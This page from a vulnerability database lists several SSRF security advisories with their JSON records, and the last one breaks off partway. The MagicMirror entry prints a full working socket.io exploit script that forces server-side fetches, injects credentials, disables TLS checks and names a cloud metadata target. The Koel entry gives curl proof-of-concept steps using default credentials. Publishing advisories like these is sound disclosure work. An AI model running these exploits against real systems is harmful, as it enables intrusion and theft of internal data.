CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
5481 vulnerabilities reference this CWE, most recent first.
GHSA-W6MV-QPWP-2H37
Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-07-01 18:31NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause server-side request forgery. A successful exploit of this vulnerability might lead to information disclosure.
{
"affected": [],
"aliases": [
"CVE-2026-24242"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T16:16:44Z",
"severity": "HIGH"
},
"details": "NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause server-side request forgery. A successful exploit of this vulnerability might lead to information disclosure.",
"id": "GHSA-w6mv-qpwp-2h37",
"modified": "2026-07-01T18:31:47Z",
"published": "2026-07-01T18:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24242"
},
{
"type": "WEB",
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5841"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24242"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W6PM-7X44-M335
Vulnerability from github – Published: 2023-08-22 21:30 – Updated: 2024-10-29 21:30A vulnerability in the web-based management interface of EdgeConnect SD-WAN Orchestrator could allow an unauthenticated remote attacker to conduct a server-side request forgery (SSRF) attack. A successful exploit allows an attacker to enumerate information about the internal structure of the EdgeConnect SD-WAN Orchestrator host leading to potential disclosure of sensitive information.
{
"affected": [],
"aliases": [
"CVE-2023-37440"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-22T19:16:38Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the web-based management interface\u00a0of EdgeConnect SD-WAN Orchestrator could allow an\u00a0unauthenticated remote attacker to conduct a server-side\u00a0request forgery (SSRF) attack. A successful exploit allows\u00a0an attacker to enumerate information about the internal\n\u00a0 \u00a0 structure of the EdgeConnect SD-WAN Orchestrator host leading\u00a0to potential disclosure of sensitive information.\n\n",
"id": "GHSA-w6pm-7x44-m335",
"modified": "2024-10-29T21:30:43Z",
"published": "2023-08-22T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37440"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2023-012.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W6Q8-88PH-G9VQ
Vulnerability from github – Published: 2024-08-13 21:31 – Updated: 2024-08-13 21:31A vulnerability was found in wanglongcn ltcms 1.0.20. It has been declared as critical. Affected by this vulnerability is the function downloadUrl of the file /api/file/downloadUrl of the component API Endpoint. The manipulation of the argument file leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-7743"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-13T21:15:17Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in wanglongcn ltcms 1.0.20. It has been declared as critical. Affected by this vulnerability is the function downloadUrl of the file /api/file/downloadUrl of the component API Endpoint. The manipulation of the argument file leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-w6q8-88ph-g9vq",
"modified": "2024-08-13T21:31:56Z",
"published": "2024-08-13T21:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7743"
},
{
"type": "WEB",
"url": "https://github.com/DeepMountains/Mirage/blob/main/CVE14-4.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.274363"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.274363"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.386435"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W6R8-2M56-2CWG
Vulnerability from github – Published: 2024-02-26 18:30 – Updated: 2024-02-26 18:30The SuperFaktura WooCommerce plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.40.3 via the wc_sf_url_check function. This makes it possible for authenticated attackers, with subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2024-1758"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-26T16:27:53Z",
"severity": "MODERATE"
},
"details": "The SuperFaktura WooCommerce plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.40.3 via the wc_sf_url_check function. This makes it possible for authenticated attackers, with subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-w6r8-2m56-2cwg",
"modified": "2024-02-26T18:30:30Z",
"published": "2024-02-26T18:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1758"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/woocommerce-superfaktura/trunk/class-wc-superfaktura.php#L3418"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3040372%40woocommerce-superfaktura\u0026new=3040372%40woocommerce-superfaktura\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/520598d7-863f-4bf3-ba74-fa9b2cc32767?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W6VH-49P9-J7C9
Vulnerability from github – Published: 2024-04-10 00:30 – Updated: 2024-04-10 00:30Server-side request forgery (SSRF) in PingFederate allows unauthenticated http requests to attack network resources and consume server-side resources via forged HTTP POST requests.
{
"affected": [],
"aliases": [
"CVE-2023-40148"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-10T00:15:09Z",
"severity": "MODERATE"
},
"details": "Server-side request forgery (SSRF) in PingFederate allows unauthenticated http requests to attack network resources and consume server-side resources via forged HTTP POST requests.\n",
"id": "GHSA-w6vh-49p9-j7c9",
"modified": "2024-04-10T00:30:29Z",
"published": "2024-04-10T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40148"
},
{
"type": "WEB",
"url": "https://docs.pingidentity.com/r/en-us/pingfederate-120/tuj1708533127032"
},
{
"type": "WEB",
"url": "https://www.pingidentity.com/en/resources/downloads/pingfederate/previous-releases.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-W6X9-28JW-HQ7J
Vulnerability from github – Published: 2026-08-18 17:26 – Updated: 2026-08-18 17:26Vulnerability — SSRF via ADD_CALENDAR (MagicMirror² calendar)
Analysis of the PoC
exploit-ssrf-calendar.js. Target:calendar/node_helper.jsof MagicMirror², socket.io namespace/calendar.
Identification
| Field | Value |
|---|---|
| PoC file | exploit-ssrf-calendar.js |
| Endpoint | socket.io namespace /calendar, notification ADD_CALENDAR |
| Precondition | reach the mirror's HTTP port (no authentication required) |
Description
The ADD_CALENDAR handler in calendar/node_helper.js performs a server-side HTTP request to a URL that is fully attacker-controlled, with no SSRF protection whatsoever — unlike the project's hardened /cors endpoint.
Worse, the attacker also controls:
- the authentication headers the server attaches to the request (auth: { method: "bearer", pass: "..." });
- the selfSignedCert flag, which disables TLS verification of the server-side request.
When the target's response is valid iCal, the server parses the events and sends them back to the attacker via CALENDAR_EVENTS — turning the SSRF into full data exfiltration (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body).
Root cause: unauthenticated socket.io channel + permissive CORS
The socket.io server accepts connections from any origin and with no authentication:
const io = new Server(server, {
cors: { origin: /.*$/, credentials: true }
});
The /calendar namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.
Exploit (exploit-ssrf-calendar.js)
const { io } = require("socket.io-client");
const TARGET = process.env.MM || "http://TARGET:8888";
const INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || "https://webhook.site/";
const socket = io(`${TARGET}/calendar`, { path: "/socket.io", transports: ["websocket", "polling"] });
socket.onAny((event, payload) => {
if (event === "CALENDAR_EVENTS") {
console.log("\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):");
for (const ev of payload.events || []) {
console.log(" SUMMARY:", ev.title);
if (ev.title && ev.title.includes("FLAG{")) {
console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:");
console.log(" " + ev.title);
process.exit(0);
}
}
} else if (event === "CALENDAR_ERROR") {
console.log("[-] CALENDAR_ERROR:", JSON.stringify(payload));
}
});
socket.on("connect", () => {
console.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);
console.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);
socket.emit("ADD_CALENDAR", {
url: INTERNAL_URL,
fetchInterval: 60000,
excludedEvents: [],
maximumEntries: 10,
maximumNumberOfDays: 3650,
auth: { method: "bearer", pass: "internal-admin-token" },
broadcastPastEvents: true,
selfSignedCert: true,
id: "pwn"
});
});
socket.on("connect_error", (e) => console.log("[-] connect_error:", e.message));
setTimeout(() => { console.log("\n[*] timeout, exiting"); process.exit(1); }, 20000);
Vulnerable target code (pattern)
socketNotificationReceived(notification, payload) {
if (notification === "ADD_CALENDAR") {
const fetcher = new CalendarFetcher(
payload.url,
payload.fetchInterval,
payload.excludedEvents,
payload.maximumEntries,
payload.maximumNumberOfDays,
payload.auth,
payload.broadcastPastEvents,
payload.selfSignedCert
);
fetcher.fetchCalendar();
}
}
Impact
- Reading internal services unreachable from the attacker's network (cloud metadata
169.254.169.254, admin panels on127.0.0.1, services on the private network). - Body exfiltration when the response is iCal (the PoC searches for
FLAG{...}in event titles). - Confused deputy / credential injection: the server attaches an attacker-controlled
Authorization: Bearer ...header, allowing it to forge/replay credentials against the internal target. - TLS bypass via
selfSignedCert: true. - Internal port scanning through error/timing differences.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "magicmirror"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.37.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63643"
],
"database_specific": {
"cwe_ids": [
"CWE-441",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T17:26:51Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Vulnerability \u2014 SSRF via `ADD_CALENDAR` (MagicMirror\u00b2 calendar)\n\n\u003e Analysis of the PoC `exploit-ssrf-calendar.js`.\n\u003e Target: `calendar/node_helper.js` of MagicMirror\u00b2, socket.io namespace `/calendar`.\n\n---\n\n## Identification\n\n| Field | Value |\n|-------|-------|\n| **PoC file** | `exploit-ssrf-calendar.js` |\n| **Endpoint** | socket.io namespace `/calendar`, notification `ADD_CALENDAR` |\n| **Precondition** | reach the mirror\u0027s HTTP port (no authentication required) |\n\n---\n\n## Description\n\nThe `ADD_CALENDAR` handler in `calendar/node_helper.js` performs a **server-side** HTTP request to a URL that is **fully attacker-controlled**, with no SSRF protection whatsoever \u2014 unlike the project\u0027s hardened `/cors` endpoint.\n\nWorse, the attacker also controls:\n- the **authentication headers** the server attaches to the request (`auth: { method: \"bearer\", pass: \"...\" }`);\n- the `selfSignedCert` flag, which **disables TLS verification** of the server-side request.\n\nWhen the target\u0027s response is **valid iCal**, the server parses the events and sends them back to the attacker via `CALENDAR_EVENTS` \u2014 turning the SSRF into **full data exfiltration** (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don\u0027t see the body).\n\n---\n\n## Root cause: unauthenticated socket.io channel + permissive CORS\n\nThe socket.io server accepts connections from **any origin** and with **no authentication**:\n\n```js\nconst io = new Server(server, {\n cors: { origin: /.*$/, credentials: true }\n});\n```\n\nThe `/calendar` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror\u0027s port can emit the notification.\n\n---\n\n## Exploit (`exploit-ssrf-calendar.js`)\n\n```js\nconst { io } = require(\"socket.io-client\");\n\nconst TARGET = process.env.MM || \"http://TARGET:8888\";\nconst INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || \"https://webhook.site/\";\n\nconst socket = io(`${TARGET}/calendar`, { path: \"/socket.io\", transports: [\"websocket\", \"polling\"] });\n\nsocket.onAny((event, payload) =\u003e {\n\tif (event === \"CALENDAR_EVENTS\") {\n\t\tconsole.log(\"\\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):\");\n\t\tfor (const ev of payload.events || []) {\n\t\t\tconsole.log(\" SUMMARY:\", ev.title);\n\t\t\tif (ev.title \u0026\u0026 ev.title.includes(\"FLAG{\")) {\n\t\t\t\tconsole.log(\"\\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:\");\n\t\t\t\tconsole.log(\" \" + ev.title);\n\t\t\t\tprocess.exit(0);\n\t\t\t}\n\t\t}\n\t} else if (event === \"CALENDAR_ERROR\") {\n\t\tconsole.log(\"[-] CALENDAR_ERROR:\", JSON.stringify(payload));\n\t}\n});\n\nsocket.on(\"connect\", () =\u003e {\n\tconsole.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);\n\tconsole.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);\n\tsocket.emit(\"ADD_CALENDAR\", {\n\t\turl: INTERNAL_URL,\n\t\tfetchInterval: 60000,\n\t\texcludedEvents: [],\n\t\tmaximumEntries: 10,\n\t\tmaximumNumberOfDays: 3650,\n\t\tauth: { method: \"bearer\", pass: \"internal-admin-token\" },\n\t\tbroadcastPastEvents: true,\n\t\tselfSignedCert: true,\n\t\tid: \"pwn\"\n\t});\n});\n\nsocket.on(\"connect_error\", (e) =\u003e console.log(\"[-] connect_error:\", e.message));\n\nsetTimeout(() =\u003e { console.log(\"\\n[*] timeout, exiting\"); process.exit(1); }, 20000);\n```\n\n---\n\n## Vulnerable target code (pattern)\n\n```js\nsocketNotificationReceived(notification, payload) {\n if (notification === \"ADD_CALENDAR\") {\n const fetcher = new CalendarFetcher(\n payload.url,\n payload.fetchInterval,\n payload.excludedEvents,\n payload.maximumEntries,\n payload.maximumNumberOfDays,\n payload.auth,\n payload.broadcastPastEvents,\n payload.selfSignedCert\n );\n fetcher.fetchCalendar();\n }\n}\n```\n\n---\n\n## Impact\n\n- **Reading internal services** unreachable from the attacker\u0027s network (cloud metadata `169.254.169.254`, admin panels on `127.0.0.1`, services on the private network).\n- **Body exfiltration** when the response is iCal (the PoC searches for `FLAG{...}` in event titles).\n- **Confused deputy / credential injection**: the server attaches an attacker-controlled `Authorization: Bearer ...` header, allowing it to forge/replay credentials against the internal target.\n- **TLS bypass** via `selfSignedCert: true`.\n- Internal port scanning through error/timing differences.\n\n---",
"id": "GHSA-w6x9-28jw-hq7j",
"modified": "2026-08-18T17:26:51Z",
"published": "2026-08-18T17:26:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-w6x9-28jw-hq7j"
},
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/pull/4169"
},
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f"
},
{
"type": "PACKAGE",
"url": "https://github.com/MagicMirrorOrg/MagicMirror"
},
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MagicMirror: ssrf calendar .js"
}
GHSA-W76H-8M22-HPGH
Vulnerability from github – Published: 2026-03-03 18:10 – Updated: 2026-03-20 21:14Summary
In OpenClaw MSTeams media download flows, redirect handling could bypass configured mediaAllowHosts checks in specific attachment paths. Redirect chains were not consistently constrained to allowlisted targets before accepting fetched content.
Affected Packages / Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.2.21-2(latest published at triage time) - Fixed in:
2026.2.22(planned next release)
Impact
Attackers able to supply or influence attachment URLs could force redirect chains to non-allowlisted targets, weakening SSRF boundary controls for MSTeams media ingestion.
Fix Commit(s)
73d93dee64127a26f1acd09d0403b794cdeb4f5cb34097f62df9d1960cc22600269cd3f3284e2124
Release Process Note
patched_versions is pre-set to the planned next release (2026.2.22). Once that npm release is published, this advisory can be published without further version-field edits.
OpenClaw thanks @tdjackey for reporting.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.2.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32037"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T18:10:12Z",
"nvd_published_at": "2026-03-19T22:16:39Z",
"severity": "HIGH"
},
"details": "## Summary\nIn OpenClaw MSTeams media download flows, redirect handling could bypass configured `mediaAllowHosts` checks in specific attachment paths. Redirect chains were not consistently constrained to allowlisted targets before accepting fetched content.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.2.21-2` (latest published at triage time)\n- Fixed in: `2026.2.22` (planned next release)\n\n## Impact\nAttackers able to supply or influence attachment URLs could force redirect chains to non-allowlisted targets, weakening SSRF boundary controls for MSTeams media ingestion.\n\n## Fix Commit(s)\n- `73d93dee64127a26f1acd09d0403b794cdeb4f5c`\n- `b34097f62df9d1960cc22600269cd3f3284e2124`\n\n## Release Process Note\n`patched_versions` is pre-set to the planned next release (`2026.2.22`). Once that npm release is published, this advisory can be published without further version-field edits.\n\nOpenClaw thanks @tdjackey for reporting.",
"id": "GHSA-w76h-8m22-hpgh",
"modified": "2026-03-20T21:14:20Z",
"published": "2026-03-03T18:10:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w76h-8m22-hpgh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32037"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/73d93dee64127a26f1acd09d0403b794cdeb4f5c"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/b34097f62df9d1960cc22600269cd3f3284e2124"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-redirect-chain-bypass-of-media-host-allowlist-in-msteams-attachment-handling"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw\u0027s MSTeams attachment redirect handling could bypass configured media host allowlists"
}
GHSA-W76H-Q7C6-JPJP
Vulnerability from github – Published: 2026-05-28 18:27 – Updated: 2026-05-28 18:27A source code audit led to the discovery of three significant security vulnerabilities in the trestle/core/remote/cache.py module.
Finding 1 (Critical): SSRF (CWE-918) The HTTPSFetcher._do_fetch() method passes a user-supplied URL directly to requests.get() without validation. This allows an attacker to perform Server-Side Request Forgery, targeting internal services or cloud metadata endpoints (e.g., 169.254.169.254).
Per rule 4.2.11 of the CVE CNA rules Finding 1 will be addressed in this advisory, while findings 2 & 3 will be addressed in separate advisories:
Multiple Path Traversal Vulnerabilities in Remote Fetching Subsystem
Finding 2 & 3 (High/Medium): Path Traversal (CWE-22) The caching logic for HTTPSFetcher and LocalFetcher fails to sanitize URI paths, allowing for arbitrary file reads via file:// or writing cached files outside the intended directory.
Impact: > These vulnerabilities can be chained to exfiltrate sensitive cloud credentials or compromise CI/CD environments.
Reproduction: > Please see the attached poc_ssrf_and_path_traversal.py and terminal_output.txt. 13 exploit vectors have been verified locally.
compliance-trestle_audit_2026-03-30.pdf poc_ssrf_and_path_traversal.py terminal_output.txt
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "compliance-trestle"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "compliance-trestle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46380"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-28T18:27:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "A source code audit led to the discovery of three significant security vulnerabilities in the trestle/core/remote/cache.py module.\n\n**Finding 1 (Critical): SSRF (CWE-918)**\nThe HTTPSFetcher._do_fetch() method passes a user-supplied URL directly to requests.get() without validation. This allows an attacker to perform Server-Side Request Forgery, targeting internal services or cloud metadata endpoints (e.g., 169.254.169.254).\n\nPer [rule 4.2.11 of the CVE CNA rules](https://www.cve.org/ResourcesSupport/AllResources/CNARules#section_4-2_CVE_ID_Assignment) Finding 1 will be addressed in this advisory, while findings 2 \u0026 3 will be addressed in separate advisories:\n\n---\n\nMultiple Path Traversal Vulnerabilities in Remote Fetching Subsystem\n\n**Finding 2 \u0026 3 (High/Medium): Path Traversal (CWE-22)**\nThe caching logic for HTTPSFetcher and LocalFetcher fails to sanitize URI paths, allowing for arbitrary file reads via file:// or writing cached files outside the intended directory.\n\nImpact: \u003e These vulnerabilities can be chained to exfiltrate sensitive cloud credentials or compromise CI/CD environments.\n\nReproduction: \u003e Please see the attached poc_ssrf_and_path_traversal.py and terminal_output.txt. 13 exploit vectors have been verified locally.\n\n[compliance-trestle_audit_2026-03-30.pdf](https://github.com/user-attachments/files/26348930/compliance-trestle_audit_2026-03-30.pdf)\n[poc_ssrf_and_path_traversal.py](https://github.com/user-attachments/files/26348820/poc_ssrf_and_path_traversal.py)\n[terminal_output.txt](https://github.com/user-attachments/files/26348821/terminal_output.txt)",
"id": "GHSA-w76h-q7c6-jpjp",
"modified": "2026-05-28T18:27:13Z",
"published": "2026-05-28T18:27:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-w76h-q7c6-jpjp"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/commit/53de5e75332888ea54f5da41d4c7859bb1d608e1"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/commit/5c65c5926fe7ca908b9c1d281f904e7d97ba8310"
},
{
"type": "PACKAGE",
"url": "https://github.com/oscal-compass/compliance-trestle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "compliance-trestle Vulnerable to SSRF in Remote Fetching Subsystem"
}
GHSA-W789-49FC-V8HR
Vulnerability from github – Published: 2026-02-26 15:22 – Updated: 2026-02-26 15:22Impact
A validation bug allows an attacker to proxy domains not explicitly allowed in the proxyableDomains configuration.
The validation only checks if a hostname ended with an allowed domain. This meant:
If example.com is allowed in proxyableDomains:
- ✅ example.com is allowed (correct)
- ✅ api.example.com is allowed (correct)
- ⚠️ maliciousexample.com is allowed (incorrect)
An attacker could register maliciousexample.com and proxy content through terriajs-server, bypassing proxy restrictions.
Patches
All versions up to 4.0.2 are affected. Upgrade to 4.0.3 to address the vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "terriajs-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27818"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T15:22:11Z",
"nvd_published_at": "2026-02-26T00:16:26Z",
"severity": "HIGH"
},
"details": "### Impact\nA validation bug allows an attacker to proxy domains not explicitly allowed in the `proxyableDomains` configuration.\n\nThe validation only checks if a hostname _ended_ with an allowed domain. This meant:\n\nIf `example.com` is allowed in `proxyableDomains`:\n\n- \u2705 example.com is allowed (correct)\n- \u2705 api.example.com is allowed (correct)\n- \u26a0\ufe0f maliciousexample.com is allowed (incorrect)\n\nAn attacker could register maliciousexample.com and proxy content through `terriajs-server`, bypassing proxy restrictions.\n\n### Patches\nAll versions up to 4.0.2 are affected. Upgrade to 4.0.3 to address the vulnerability.",
"id": "GHSA-w789-49fc-v8hr",
"modified": "2026-02-26T15:22:11Z",
"published": "2026-02-26T15:22:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/TerriaJS/terriajs-server/security/advisories/GHSA-w789-49fc-v8hr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27818"
},
{
"type": "WEB",
"url": "https://github.com/TerriaJS/terriajs-server/commit/3aaa5d9717162b245ae4569232bbe7d8673c913f"
},
{
"type": "PACKAGE",
"url": "https://github.com/TerriaJS/terriajs-server"
},
{
"type": "WEB",
"url": "https://github.com/TerriaJS/terriajs-server/releases/tag/4.0.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "TerriaJS-Server has a domain validation bypass vulnerability in its proxy allowlist"
}
GHSA-W79M-F3JX-779V
Vulnerability from github – Published: 2026-07-15 17:07 – Updated: 2026-07-15 17:07Summary
Koel v9.6.0 protects the regular podcast subscription API with SafeUrl, but the Subsonic-compatible createPodcastChannel.view route does not apply the same protection. An authenticated user can supply a private URL and cause Koel to fetch it server-side during podcast parsing.
This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.
This is distinct from GHSA-7j2f-6h2r-6cqc, which fixed unsafe episode enclosure URLs in versions <= 9.3.4. The issue here is a newer validation gap in the Subsonic route itself, still present in v9.6.0.
Details
SafeUrl protects the regular podcast API only
The regular podcast subscription path validates the feed URL with SafeUrl:
app/Http/Requests/API/Podcast/PodcastStoreRequest.php
return [
'url' => ['required', 'url', new SafeUrl()],
];
The Subsonic-compatible route does not:
routes/subsonic.phpcreatePodcastChannel.viewapp/Http/Requests/Subsonic/CreatePodcastChannelRequest.php
return [
'url' => ['required', 'string', 'url'],
];
That creates the same kind of trust-boundary mismatch as the radio issue: the main API rejects private targets, while the compatibility route accepts them.
The URL is fetched immediately by the podcast parser
The attacker-controlled URL is used by the podcast service during channel creation:
app/Http/Controllers/Subsonic/CreatePodcastChannelController.phpapp/Services/Podcast/PodcastService.php
PodcastService::addPodcast() calls:
$parser = $this->createParser($url);
and createParser() resolves to:
return Poddle::fromUrl($url, 5 * 60, $this->client);
This means the SSRF happens as part of the channel creation flow itself. No separate playback step is needed.
This bypasses Koel's intended SSRF control for podcast URLs
Koel already added SafeUrl to the regular podcast API and has already published a podcast-related SSRF advisory. The Subsonic route does not reuse that same control, so it reintroduces a server-side fetch primitive for private destinations.
PoC
The following steps were validated against the official phanan/koel:9.6.0 image.
- Authenticate and obtain an API token:
API_TOKEN=$(
curl -sS -X POST http://127.0.0.1:18081/api/me \
-H 'Content-Type: application/json' \
--data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)
- Obtain the user's Subsonic API key:
SUBSONIC_KEY=$(
curl -sS http://127.0.0.1:18081/api/data \
-H "Authorization: Bearer $API_TOKEN" \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)
